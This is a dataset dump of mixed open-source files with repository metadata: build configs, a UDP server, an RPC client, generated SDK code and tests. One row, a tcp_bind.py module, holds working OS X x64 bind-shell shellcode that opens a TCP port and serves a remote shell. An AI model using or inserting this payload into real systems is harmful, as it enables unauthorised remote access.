hexsha
stringlengths
40
40
size
int64
2
1.02M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
2
1.02M
avg_line_length
float64
1
958k
max_line_length
int64
1
987k
alphanum_fraction
float64
0
1
content_no_comment
stringlengths
0
1.01M
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
08f3ff1b8a3fe2de9ff9c7421e70b314749d34b8
318
gyp
Python
Dependencies/gyp-master/test/same-gyp-name/src/subdir2/executable.gyp
knight666/exlibris
b21b46e0c84e5c4f81f8048022cda88e7bb3dca2
[ "MIT" ]
null
null
null
Dependencies/gyp-master/test/same-gyp-name/src/subdir2/executable.gyp
knight666/exlibris
b21b46e0c84e5c4f81f8048022cda88e7bb3dca2
[ "MIT" ]
null
null
null
Dependencies/gyp-master/test/same-gyp-name/src/subdir2/executable.gyp
knight666/exlibris
b21b46e0c84e5c4f81f8048022cda88e7bb3dca2
[ "MIT" ]
null
null
null
# Copyright (c) 2009 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. { 'targets': [ { 'target_name': 'program2', 'type': 'executable', 'sources': [ 'main2.cc', ], }, ], }
19.875
73
0.537736
{ 'targets': [ { 'target_name': 'program2', 'type': 'executable', 'sources': [ 'main2.cc', ], }, ], }
true
true
08f3ff528c7e329289e1fae8bfa094fee74d4ff2
350
py
Python
CS305_Computer-Network/Lab4-socket/UDP-Server.py
Eveneko/SUSTech-Courses
0420873110e91e8d13e6e85a974f1856e01d28d6
[ "MIT" ]
4
2020-11-11T11:56:57.000Z
2021-03-11T10:05:09.000Z
CS305_Computer-Network/Lab4-socket/UDP-Server.py
Eveneko/SUSTech-Courses
0420873110e91e8d13e6e85a974f1856e01d28d6
[ "MIT" ]
null
null
null
CS305_Computer-Network/Lab4-socket/UDP-Server.py
Eveneko/SUSTech-Courses
0420873110e91e8d13e6e85a974f1856e01d28d6
[ "MIT" ]
3
2021-01-07T04:14:11.000Z
2021-04-27T13:41:36.000Z
from socket import * serverPort = 12000 serverSocket = socket(AF_INET, SOCK_DGRAM) serverSocket.bind(('127.0.0.1', serverPort)) print ('The server is ready to receive') while True: message, clientAddress = serverSocket.recvfrom(2048) modifiedMessage = message.decode().upper() serverSocket.sendto(modifiedM...
31.818182
63
0.76
from socket import * serverPort = 12000 serverSocket = socket(AF_INET, SOCK_DGRAM) serverSocket.bind(('127.0.0.1', serverPort)) print ('The server is ready to receive') while True: message, clientAddress = serverSocket.recvfrom(2048) modifiedMessage = message.decode().upper() serverSocket.sendto(modifiedM...
true
true
08f3ff692267db79bcda1a895fe07bcde603c40e
9,665
py
Python
contrib/bitrpc/bitrpc.py
ygtars/bithost
c4d1302de44f27cd867aa4330c383dc592452701
[ "MIT" ]
4
2019-01-11T16:50:42.000Z
2019-09-04T16:14:18.000Z
contrib/bitrpc/bitrpc.py
ygtars/bithost
c4d1302de44f27cd867aa4330c383dc592452701
[ "MIT" ]
1
2019-02-16T01:32:41.000Z
2019-02-16T01:32:41.000Z
contrib/bitrpc/bitrpc.py
ygtars/bithost
c4d1302de44f27cd867aa4330c383dc592452701
[ "MIT" ]
6
2018-11-30T19:22:36.000Z
2019-02-22T13:05:47.000Z
from jsonrpc import ServiceProxy import sys import string import getpass # ===== BEGIN USER SETTINGS ===== # if you do not set these you will be prompted for a password for every command rpcuser = "" rpcpass = "" # ====== END USER SETTINGS ====== if rpcpass == "": access = ServiceProxy("http://127.0.0.1:29917") ...
28.594675
101
0.573513
from jsonrpc import ServiceProxy import sys import string import getpass rpcuser = "" rpcpass = "" if rpcpass == "": access = ServiceProxy("http://127.0.0.1:29917") else: access = ServiceProxy("http://"+rpcuser+":"+rpcpass+"@127.0.0.1:29917") cmd = sys.argv[1].lower() if cmd == "backupwallet": try: ...
false
true
08f4000cf532cbc63ae772acc53df2aaa8e8e87f
4,484
py
Python
focus/depparse.py
OHNLP/clinical-problem-standardization
c321995ae73df3dc56b0bf6c31eecb62efa778f8
[ "Apache-2.0" ]
5
2020-11-02T13:05:52.000Z
2021-09-01T08:58:37.000Z
focus/depparse.py
OHNLP/clinical-problem-standardization
c321995ae73df3dc56b0bf6c31eecb62efa778f8
[ "Apache-2.0" ]
null
null
null
focus/depparse.py
OHNLP/clinical-problem-standardization
c321995ae73df3dc56b0bf6c31eecb62efa778f8
[ "Apache-2.0" ]
1
2022-01-11T07:40:28.000Z
2022-01-11T07:40:28.000Z
''' A utility for running dependency parsing on clinical problem descriptions ''' import metamap.metamap as metamap import networkx as nx import spacy from spacy.tokens import Span from nltk import Tree mm = metamap.MetaMap(additional_args='-y -L 2018AB -R SNOMEDCT_US --exclude_sts mnob,bmod', workers=1) class DepP...
37.057851
183
0.518956
import metamap.metamap as metamap import networkx as nx import spacy from spacy.tokens import Span from nltk import Tree mm = metamap.MetaMap(additional_args='-y -L 2018AB -R SNOMEDCT_US --exclude_sts mnob,bmod', workers=1) class DepParse(): def __init__(self, model='custom'): if model == 'custom':...
true
true
08f40172b6997fa3cba49765e02ac53a81f8ab93
2,686
py
Python
ooobuild/lo/chart/chart_data_row_properties.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/lo/chart/chart_data_row_properties.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/lo/chart/chart_data_row_properties.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 # # Copyright 2022 :Barry-Thomas-Paul: Moss # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http: // www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
34.883117
217
0.727103
import typing from abc import abstractproperty from .chart_data_point_properties import ChartDataPointProperties as ChartDataPointProperties_677c10bd from .chart_statistics import ChartStatistics as ChartStatistics_e2190d37 if typing.TYPE_CHECKING: from ..beans.x_property_set import XPropertySet as XPropertySet_bc1...
true
true
08f40263b5c31fa0dadf805e4f015c061d3a9124
1,402
py
Python
nipype/interfaces/fsl/tests/test_auto_Cleaner.py
mfalkiewicz/nipype
775e21b78fb1ffa2ff9cb12e6f052868bd44d052
[ "Apache-2.0" ]
1
2015-01-19T13:12:27.000Z
2015-01-19T13:12:27.000Z
nipype/interfaces/fsl/tests/test_auto_Cleaner.py
bpinsard/nipype
373bdddba9f675ef153951afa368729e2d8950d2
[ "Apache-2.0" ]
null
null
null
nipype/interfaces/fsl/tests/test_auto_Cleaner.py
bpinsard/nipype
373bdddba9f675ef153951afa368729e2d8950d2
[ "Apache-2.0" ]
null
null
null
# AUTO-GENERATED by tools/checkspecs.py - DO NOT EDIT from __future__ import unicode_literals from ..fix import Cleaner def test_Cleaner_inputs(): input_map = dict(aggressive=dict(argstr='-A', position=3, ), args=dict(argstr='%s', ), artifacts_list_file=dict(argstr='%s', mandatory=True, ...
24.172414
67
0.625535
from __future__ import unicode_literals from ..fix import Cleaner def test_Cleaner_inputs(): input_map = dict(aggressive=dict(argstr='-A', position=3, ), args=dict(argstr='%s', ), artifacts_list_file=dict(argstr='%s', mandatory=True, position=1, ), cleanup_motion=dict(argstr='-...
true
true
08f402df6f1bf07f0e411c58095feb0462261226
1,383
py
Python
setup.py
funnel-io/requetests
1f58042de4ee0e0f5c4f6268d20a8a2ce7d78f6e
[ "MIT" ]
2
2022-03-18T20:48:15.000Z
2022-03-22T09:08:39.000Z
setup.py
funnel-io/requtests
1f58042de4ee0e0f5c4f6268d20a8a2ce7d78f6e
[ "MIT" ]
null
null
null
setup.py
funnel-io/requtests
1f58042de4ee0e0f5c4f6268d20a8a2ce7d78f6e
[ "MIT" ]
null
null
null
from os import path from re import search from setuptools import find_packages, setup HERE = path.abspath(path.dirname(__file__)) with open(path.join(HERE, "README.md"), encoding="utf-8") as f: README = f.read() with open(path.join(HERE, "src", "requtests", "__init__.py"), encoding="utf-8") as f: VERSION = ...
32.928571
85
0.635575
from os import path from re import search from setuptools import find_packages, setup HERE = path.abspath(path.dirname(__file__)) with open(path.join(HERE, "README.md"), encoding="utf-8") as f: README = f.read() with open(path.join(HERE, "src", "requtests", "__init__.py"), encoding="utf-8") as f: VERSION = ...
true
true
08f403f557eed95218cf93e306b0d2629375e930
111
py
Python
board/models/__init__.py
malrefai/board-project
f230c20c41077dab1ef424e5a27868ad77470fb4
[ "MIT" ]
null
null
null
board/models/__init__.py
malrefai/board-project
f230c20c41077dab1ef424e5a27868ad77470fb4
[ "MIT" ]
6
2018-10-24T14:10:55.000Z
2018-10-28T08:12:58.000Z
board/models/__init__.py
malrefai/board-project
f230c20c41077dab1ef424e5a27868ad77470fb4
[ "MIT" ]
1
2018-10-25T11:30:18.000Z
2018-10-25T11:30:18.000Z
from .board import Board from .post import Post from .topic import Topic __all__ = ("Board", "Post", "Topic")
18.5
36
0.711712
from .board import Board from .post import Post from .topic import Topic __all__ = ("Board", "Post", "Topic")
true
true
08f4050666ab8776e528f5acbcf37f82f7ef5d1c
182
py
Python
rested/validation/validators/member.py
mochi-ai/rested
94a8961f2297fd4a941417f4be47047d91a4aa00
[ "MIT" ]
1
2020-09-07T22:04:05.000Z
2020-09-07T22:04:05.000Z
rested/validation/validators/member.py
mochi-ai/rested
94a8961f2297fd4a941417f4be47047d91a4aa00
[ "MIT" ]
null
null
null
rested/validation/validators/member.py
mochi-ai/rested
94a8961f2297fd4a941417f4be47047d91a4aa00
[ "MIT" ]
null
null
null
def member(collection): def validator(v, accept=None, reject=None): if v not in collection: reject(f'expected_set_membership') return validator member.dynamic = True
30.333333
66
0.725275
def member(collection): def validator(v, accept=None, reject=None): if v not in collection: reject(f'expected_set_membership') return validator member.dynamic = True
true
true
08f405d2f06db5e7a80e0cb4aed44fd87a5a1f54
8,806
py
Python
sdk/network/azure-mgmt-network/azure/mgmt/network/v2017_08_01/aio/operations/_load_balancer_backend_address_pools_operations.py
vbarbaresi/azure-sdk-for-python
397ba46c51d001ff89c66b170f5576cf8f49c05f
[ "MIT" ]
8
2021-01-13T23:44:08.000Z
2021-03-17T10:13:36.000Z
sdk/network/azure-mgmt-network/azure/mgmt/network/v2017_08_01/aio/operations/_load_balancer_backend_address_pools_operations.py
vbarbaresi/azure-sdk-for-python
397ba46c51d001ff89c66b170f5576cf8f49c05f
[ "MIT" ]
null
null
null
sdk/network/azure-mgmt-network/azure/mgmt/network/v2017_08_01/aio/operations/_load_balancer_backend_address_pools_operations.py
vbarbaresi/azure-sdk-for-python
397ba46c51d001ff89c66b170f5576cf8f49c05f
[ "MIT" ]
null
null
null
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
49.195531
218
0.676471
from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar import warnings from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline ...
true
true
08f406df25bcff8b3c4b0c2eff910d637576c7e0
5,197
py
Python
rlpytorch/model_loader.py
leonida/ELF
ef7a811811118ca579a74ec32ded5ed42d157ba1
[ "BSD-3-Clause" ]
null
null
null
rlpytorch/model_loader.py
leonida/ELF
ef7a811811118ca579a74ec32ded5ed42d157ba1
[ "BSD-3-Clause" ]
null
null
null
rlpytorch/model_loader.py
leonida/ELF
ef7a811811118ca579a74ec32ded5ed42d157ba1
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2017-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. import os import sys import argparse from .args_provider import ArgsProvider from .sampler import Sampler from .model_i...
37.934307
169
0.6269
import os import sys import argparse from .args_provider import ArgsProvider from .sampler import Sampler from .model_interface import ModelInterface def load_module(mod): sys.path.insert(0, os.path.dirname(mod)) module = __import__(os.path.basename(mod)) return module class ModelLoader: def __init__...
true
true
08f407730a4cef1a54d98d5aee44b83adcc73e24
1,470
py
Python
cloudnet-package/trainer/utils.py
Windact/cloud_detection
9fa24a957105efe87d32ad5b05c088fa6d743000
[ "MIT" ]
null
null
null
cloudnet-package/trainer/utils.py
Windact/cloud_detection
9fa24a957105efe87d32ad5b05c088fa6d743000
[ "MIT" ]
null
null
null
cloudnet-package/trainer/utils.py
Windact/cloud_detection
9fa24a957105efe87d32ad5b05c088fa6d743000
[ "MIT" ]
null
null
null
from tensorflow.keras import backend as K from tensorflow import keras smooth = 0.0000001 def jacc_coef(y_true, y_pred): y_true_f = K.flatten(y_true) y_pred_f = K.flatten(y_pred) intersection = K.sum(y_true_f * y_pred_f) return 1 - ((intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) - inter...
43.235294
102
0.648299
from tensorflow.keras import backend as K from tensorflow import keras smooth = 0.0000001 def jacc_coef(y_true, y_pred): y_true_f = K.flatten(y_true) y_pred_f = K.flatten(y_pred) intersection = K.sum(y_true_f * y_pred_f) return 1 - ((intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) - inter...
true
true
08f40923b99b9b81a60d31d87e66e826292a1b54
4,774
py
Python
accelerator/standard_methods/a_dataset_hashpart.py
eBay/accelerator
218d9a5e4451ac72b9e65df6c5b32e37d25136c8
[ "Apache-2.0" ]
143
2018-04-20T18:50:41.000Z
2022-02-06T07:07:35.000Z
accelerator/standard_methods/a_dataset_hashpart.py
exaxorg/accelerator
d6132f215585b98d2ad14c5d74d2c937fbd940e2
[ "Apache-2.0" ]
null
null
null
accelerator/standard_methods/a_dataset_hashpart.py
exaxorg/accelerator
d6132f215585b98d2ad14c5d74d2c937fbd940e2
[ "Apache-2.0" ]
29
2018-04-20T18:50:43.000Z
2021-04-27T18:42:23.000Z
############################################################################ # # # Copyright (c) 2017 eBay Inc. # # Modifications copyright (c) 2018-2021 Carl Drougge # # ...
35.362963
133
0.582949
from __future__ import division from __future__ import absolute_import description = r''' Rewrite a dataset (or chain to previous) with new hashlabel. ''' from shutil import copyfileobj from os.path import exists from accelerator import OptionString options = { 'hashlabel' : OptionString, 'captio...
true
true
08f40a082082919bd8b1f745139beb75255f20c8
3,287
py
Python
tensorflow/contrib/ndlstm/python/misc.py
danielgordon10/tensorflow
395cfc42ee3c5842f5383f4049674c012998b133
[ "Apache-2.0" ]
101
2016-12-03T11:40:52.000Z
2017-12-23T02:02:03.000Z
tensorflow/contrib/ndlstm/python/misc.py
danielgordon10/tensorflow
395cfc42ee3c5842f5383f4049674c012998b133
[ "Apache-2.0" ]
9
2016-12-14T03:27:46.000Z
2017-09-13T02:29:07.000Z
tensorflow/contrib/ndlstm/python/misc.py
danielgordon10/tensorflow
395cfc42ee3c5842f5383f4049674c012998b133
[ "Apache-2.0" ]
47
2016-12-04T12:37:24.000Z
2018-01-14T18:13:07.000Z
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
34.239583
80
0.70429
from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf def _shape(tensor): return tensor.get_shape().as_list() def pixels_as_vector(images, scope=None): with tf.name_scope(scope, "PixelsAsVector", [images]): batch_size, height, ...
true
true
08f40a0bb4ccd50373c44ef6f9c920fc1b28a0fd
4,081
py
Python
core/database/OSX64/tcp_bind.py
xorond/l0l
bb0c2bb23fc49997b695cf27d2b2b25169395521
[ "WTFPL" ]
6
2018-10-29T19:46:49.000Z
2022-03-10T15:39:47.000Z
core/database/OSX64/tcp_bind.py
xorond/l0l
bb0c2bb23fc49997b695cf27d2b2b25169395521
[ "WTFPL" ]
null
null
null
core/database/OSX64/tcp_bind.py
xorond/l0l
bb0c2bb23fc49997b695cf27d2b2b25169395521
[ "WTFPL" ]
4
2018-10-16T13:28:27.000Z
2022-02-05T18:43:57.000Z
#https://www.milw00rm.com/exploits/10653 """ OS X x64 - tcp bind shellcode, NULL byte free (144 bytes) ;OS X x64, TCP bind shellcode (port 4444), NULL byte free, 144 bytes long ;ASM code ;compile: ;nasm -f macho64 bind-shellcode.asm ;ld -macosx_version_min 10.7.0 -o bindsc bind-shellcode.o BITS 64 global start ...
37.440367
95
0.571184
def tcp_bind( PORT): shellcode = r"\x48\x31\xff\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\x48\x31\xd2\x48" shellcode += r"\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x61\x49\x89\xc4\x0f\x05\x49" shellcode += r"\x89\xc1\x48\x89\xc7\x48\x31\xf6\x56\xbe\x01\x02" shellcode += PORT shellcode += r"\x83\xee" ...
true
true
08f40aff9ca71e7e530013bf30c356fc5ad7dd52
3,364
py
Python
npbench/infrastructure/line_count.py
frahlg/npbench
1bc4d9e2e22f3ca67fa2bc7f40e2e751a9c8dd26
[ "BSD-3-Clause" ]
27
2021-05-10T11:49:13.000Z
2022-03-22T18:07:19.000Z
npbench/infrastructure/line_count.py
frahlg/npbench
1bc4d9e2e22f3ca67fa2bc7f40e2e751a9c8dd26
[ "BSD-3-Clause" ]
3
2021-12-01T13:03:17.000Z
2022-03-17T10:53:00.000Z
npbench/infrastructure/line_count.py
frahlg/npbench
1bc4d9e2e22f3ca67fa2bc7f40e2e751a9c8dd26
[ "BSD-3-Clause" ]
7
2021-06-24T03:40:25.000Z
2022-01-26T09:04:33.000Z
# Copyright 2021 ETH Zurich and the NPBench authors. All rights reserved. import difflib import time from npbench.infrastructure import Benchmark, Framework, utilities as util from pygount import SourceAnalysis class LineCount(object): """ A class for counting lines of code. """ def __init__(self, ...
34.680412
78
0.515161
import difflib import time from npbench.infrastructure import Benchmark, Framework, utilities as util from pygount import SourceAnalysis class LineCount(object): def __init__(self, bench: Benchmark, frmwrk: Framework, npfrmwrk: Framework = None): self.be...
true
true
08f40b9d35aaa8bcb6b5802f8981191cff22e1b6
3,190
py
Python
sdk/resources/azure-mgmt-resource/azure/mgmt/resource/policy/v2015_10_01_preview/aio/_configuration.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
2,728
2015-01-09T10:19:32.000Z
2022-03-31T14:50:33.000Z
sdk/resources/azure-mgmt-resource/azure/mgmt/resource/policy/v2015_10_01_preview/aio/_configuration.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
17,773
2015-01-05T15:57:17.000Z
2022-03-31T23:50:25.000Z
sdk/resources/azure-mgmt-resource/azure/mgmt/resource/policy/v2015_10_01_preview/aio/_configuration.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
1,916
2015-01-19T05:05:41.000Z
2022-03-31T19:36:44.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
46.911765
134
0.695611
from typing import Any, TYPE_CHECKING from azure.core.configuration import Configuration from azure.core.pipeline import policies from azure.mgmt.core.policies import ARMHttpLoggingPolicy from .._version import VERSION if TYPE_CHECKING: from azure.core.credentials_async import AsyncTokenCredential class P...
true
true
08f40baf297febdbf5b5d5c5a8727f278521df73
1,499
py
Python
paper/comparison/speedup_peek.py
CheYulin/ScanOptimizing
691b39309da1c6b5df46b264b5a300a35d644f70
[ "MIT" ]
19
2019-05-22T13:17:58.000Z
2021-11-26T11:42:08.000Z
paper/comparison/speedup_peek.py
CheYulin/ScanOptimizing
691b39309da1c6b5df46b264b5a300a35d644f70
[ "MIT" ]
2
2020-08-15T05:00:16.000Z
2021-11-16T06:09:42.000Z
paper/comparison/speedup_peek.py
CheYulin/ScanOptimizing
691b39309da1c6b5df46b264b5a300a35d644f70
[ "MIT" ]
9
2018-12-20T10:09:00.000Z
2021-11-26T11:42:10.000Z
from cmp_figure import * def get_speedup_lst(lst_big, lst_small): return map(lambda pair: float(pair[0]) / pair[1], zip(lst_big, lst_small)) if __name__ == '__main__': data_set_lst = ['snap_orkut', 'webgraph_webbase', 'webgraph_twitter', 'snap_friendster'] any_scan_data_set_lst = ['snap_orkut', 'webgrap...
25.844828
92
0.651101
from cmp_figure import * def get_speedup_lst(lst_big, lst_small): return map(lambda pair: float(pair[0]) / pair[1], zip(lst_big, lst_small)) if __name__ == '__main__': data_set_lst = ['snap_orkut', 'webgraph_webbase', 'webgraph_twitter', 'snap_friendster'] any_scan_data_set_lst = ['snap_orkut', 'webgrap...
false
true
08f40bfdfdb889d54b1aea3451473c2ea14c9508
3,471
py
Python
bindings/python/ensmallen/datasets/string/phoceamassiliensis.py
AnacletoLAB/ensmallen_graph
b2c1b18fb1e5801712852bcc239f239e03076f09
[ "MIT" ]
5
2021-02-17T00:44:45.000Z
2021-08-09T16:41:47.000Z
bindings/python/ensmallen/datasets/string/phoceamassiliensis.py
AnacletoLAB/ensmallen_graph
b2c1b18fb1e5801712852bcc239f239e03076f09
[ "MIT" ]
18
2021-01-07T16:47:39.000Z
2021-08-12T21:51:32.000Z
bindings/python/ensmallen/datasets/string/phoceamassiliensis.py
AnacletoLAB/ensmallen
b2c1b18fb1e5801712852bcc239f239e03076f09
[ "MIT" ]
3
2021-01-14T02:20:59.000Z
2021-08-04T19:09:52.000Z
""" This file offers the methods to automatically retrieve the graph Phocea massiliensis. The graph is automatically retrieved from the STRING repository. References --------------------- Please cite the following if you use the data: ```bib @article{szklarczyk2019string, title={STRING v11: protein--protein as...
33.057143
223
0.677615
from typing import Dict from ..automatic_graph_retrieval import AutomaticallyRetrievedGraph from ...ensmallen import Graph def PhoceaMassiliensis( directed: bool = False, preprocess: bool = True, load_nodes: bool = True, verbose: int = 2, cache: bool = True, cache_path: str = "graphs/string"...
true
true
08f40c885ff30bfb87b71e3d9e109f89cea37432
8,614
py
Python
checkov/common/graph/graph_builder/graph_components/blocks.py
Devocean8-Official/checkov
8ce61421fa838a97981ab3bd0ae2a12e541666b2
[ "Apache-2.0" ]
null
null
null
checkov/common/graph/graph_builder/graph_components/blocks.py
Devocean8-Official/checkov
8ce61421fa838a97981ab3bd0ae2a12e541666b2
[ "Apache-2.0" ]
null
null
null
checkov/common/graph/graph_builder/graph_components/blocks.py
Devocean8-Official/checkov
8ce61421fa838a97981ab3bd0ae2a12e541666b2
[ "Apache-2.0" ]
null
null
null
from copy import deepcopy from typing import Union, Dict, Any, List, Optional from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.common.graph.graph_builder.utils import calculate_hash, join_trimmed_strings from checkov.common.graph.graph_builder.variable_rende...
45.57672
120
0.638844
from copy import deepcopy from typing import Union, Dict, Any, List, Optional from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.common.graph.graph_builder.utils import calculate_hash, join_trimmed_strings from checkov.common.graph.graph_builder.variable_rende...
true
true
08f40ca518ce178e8170c1ef7377343cef6950f0
6,677
py
Python
Game/PYbase/Game/Corak/tst/Main_menu222222222222222222.py
LinearHaru/Corak
269f827131cbdaf15e6cd81bee792fbb6b9c7606
[ "MIT" ]
null
null
null
Game/PYbase/Game/Corak/tst/Main_menu222222222222222222.py
LinearHaru/Corak
269f827131cbdaf15e6cd81bee792fbb6b9c7606
[ "MIT" ]
null
null
null
Game/PYbase/Game/Corak/tst/Main_menu222222222222222222.py
LinearHaru/Corak
269f827131cbdaf15e6cd81bee792fbb6b9c7606
[ "MIT" ]
null
null
null
from Game.Corak.mapread4 import * from Game.Corak.Worldgen3 import hall class Corak(pygame.sprite.Sprite): def __init__(S): S.image = pygame.Surface([size, size]) S.image.fill(BLACK) S.rect = S.image.get_rect() S.at = [1, 11] S.pos = [size * S.at[0] + offsets[0], size * S.at...
31.64455
127
0.449154
from Game.Corak.mapread4 import * from Game.Corak.Worldgen3 import hall class Corak(pygame.sprite.Sprite): def __init__(S): S.image = pygame.Surface([size, size]) S.image.fill(BLACK) S.rect = S.image.get_rect() S.at = [1, 11] S.pos = [size * S.at[0] + offsets[0], size * S.at...
true
true
08f40d0bc5c78b35e45f8e1dd7c406d9123b070b
926
py
Python
kochira/auth.py
nattofriends/kochira
8c41f9936ed588a8acc365a2829f06521388e55b
[ "MS-PL" ]
null
null
null
kochira/auth.py
nattofriends/kochira
8c41f9936ed588a8acc365a2829f06521388e55b
[ "MS-PL" ]
1
2015-11-14T04:38:56.000Z
2015-11-14T04:38:58.000Z
kochira/auth.py
nattofriends/kochira
8c41f9936ed588a8acc365a2829f06521388e55b
[ "MS-PL" ]
1
2019-05-13T21:22:02.000Z
2019-05-13T21:22:02.000Z
import fnmatch def acl_for(client, target=None): acl = client.config.acl.copy() if target is not None: if target in client.config.channels: channel_acl = client.config.channels[target].acl else: channel_acl = {} for hostmask, permissions in channel_acl.items()...
26.457143
71
0.643629
import fnmatch def acl_for(client, target=None): acl = client.config.acl.copy() if target is not None: if target in client.config.channels: channel_acl = client.config.channels[target].acl else: channel_acl = {} for hostmask, permissions in channel_acl.items()...
true
true
08f40d9f472c04a98c8ca72a1ac536429a9c78a8
856
py
Python
tests/test_on_data/test_metadata/test_neuroscope_metadata.py
NeurodataWithoutBorders/nwbn-conversion-tools
11aa4fa40af5deac28dd3643eb85425000bea780
[ "BSD-3-Clause" ]
null
null
null
tests/test_on_data/test_metadata/test_neuroscope_metadata.py
NeurodataWithoutBorders/nwbn-conversion-tools
11aa4fa40af5deac28dd3643eb85425000bea780
[ "BSD-3-Clause" ]
6
2019-09-09T18:23:48.000Z
2020-01-07T17:19:23.000Z
tests/test_on_data/test_metadata/test_neuroscope_metadata.py
ben-dichter-consulting/nwb-conversion-tools
f5641317d2697a3916eeb54f74ce171ed65469ed
[ "BSD-3-Clause" ]
1
2019-11-24T05:08:06.000Z
2019-11-24T05:08:06.000Z
import datetime from nwb_conversion_tools.datainterfaces.ecephys.neuroscope.neuroscope_utils import get_session_start_time from nwb_conversion_tools.datainterfaces.ecephys.neuroscope.neuroscopedatainterface import NeuroscopeSortingInterface from ..setup_paths import ECEPHY_DATA_PATH NEUROSCOPE_PATH = ECEPHY_DATA_PAT...
34.24
117
0.781542
import datetime from nwb_conversion_tools.datainterfaces.ecephys.neuroscope.neuroscope_utils import get_session_start_time from nwb_conversion_tools.datainterfaces.ecephys.neuroscope.neuroscopedatainterface import NeuroscopeSortingInterface from ..setup_paths import ECEPHY_DATA_PATH NEUROSCOPE_PATH = ECEPHY_DATA_PAT...
true
true
08f40e057c1ca330d2cca162754966fe48ad6a27
1,874
py
Python
examples/docs_snippets/docs_snippets_tests/concepts_tests/configuration_tests/test_configuration_example.py
withshubh/dagster
ff4a0db53e126f44097a337eecef54988cc718ef
[ "Apache-2.0" ]
null
null
null
examples/docs_snippets/docs_snippets_tests/concepts_tests/configuration_tests/test_configuration_example.py
withshubh/dagster
ff4a0db53e126f44097a337eecef54988cc718ef
[ "Apache-2.0" ]
null
null
null
examples/docs_snippets/docs_snippets_tests/concepts_tests/configuration_tests/test_configuration_example.py
withshubh/dagster
ff4a0db53e126f44097a337eecef54988cc718ef
[ "Apache-2.0" ]
null
null
null
import pytest import yaml from dagster import DagsterInvalidConfigError, ModeDefinition, execute_pipeline, pipeline, solid from dagster.utils import file_relative_path from docs_snippets.concepts.configuration.config_map_example import unsigned_s3_session from docs_snippets.concepts.configuration.configured_example imp...
29.746032
99
0.758271
import pytest import yaml from dagster import DagsterInvalidConfigError, ModeDefinition, execute_pipeline, pipeline, solid from dagster.utils import file_relative_path from docs_snippets.concepts.configuration.config_map_example import unsigned_s3_session from docs_snippets.concepts.configuration.configured_example imp...
true
true
08f40ede641c1ef6069cab99c4cddc72a27de650
14,317
py
Python
tests/integration_tests/test_rules.py
manuel-sommer/DrHeader
c2098d592578b046e77df44445651b66394e0d49
[ "MIT" ]
null
null
null
tests/integration_tests/test_rules.py
manuel-sommer/DrHeader
c2098d592578b046e77df44445651b66394e0d49
[ "MIT" ]
null
null
null
tests/integration_tests/test_rules.py
manuel-sommer/DrHeader
c2098d592578b046e77df44445651b66394e0d49
[ "MIT" ]
null
null
null
import unittest2 from tests.integration_tests import utils class TestDefaultRules(unittest2.TestCase): def tearDown(self): utils.reset_default_rules() def test__should_validate_all_rules_for_valid_headers(self): headers = utils.get_headers() report = utils.process_test(headers=head...
42.610119
120
0.628553
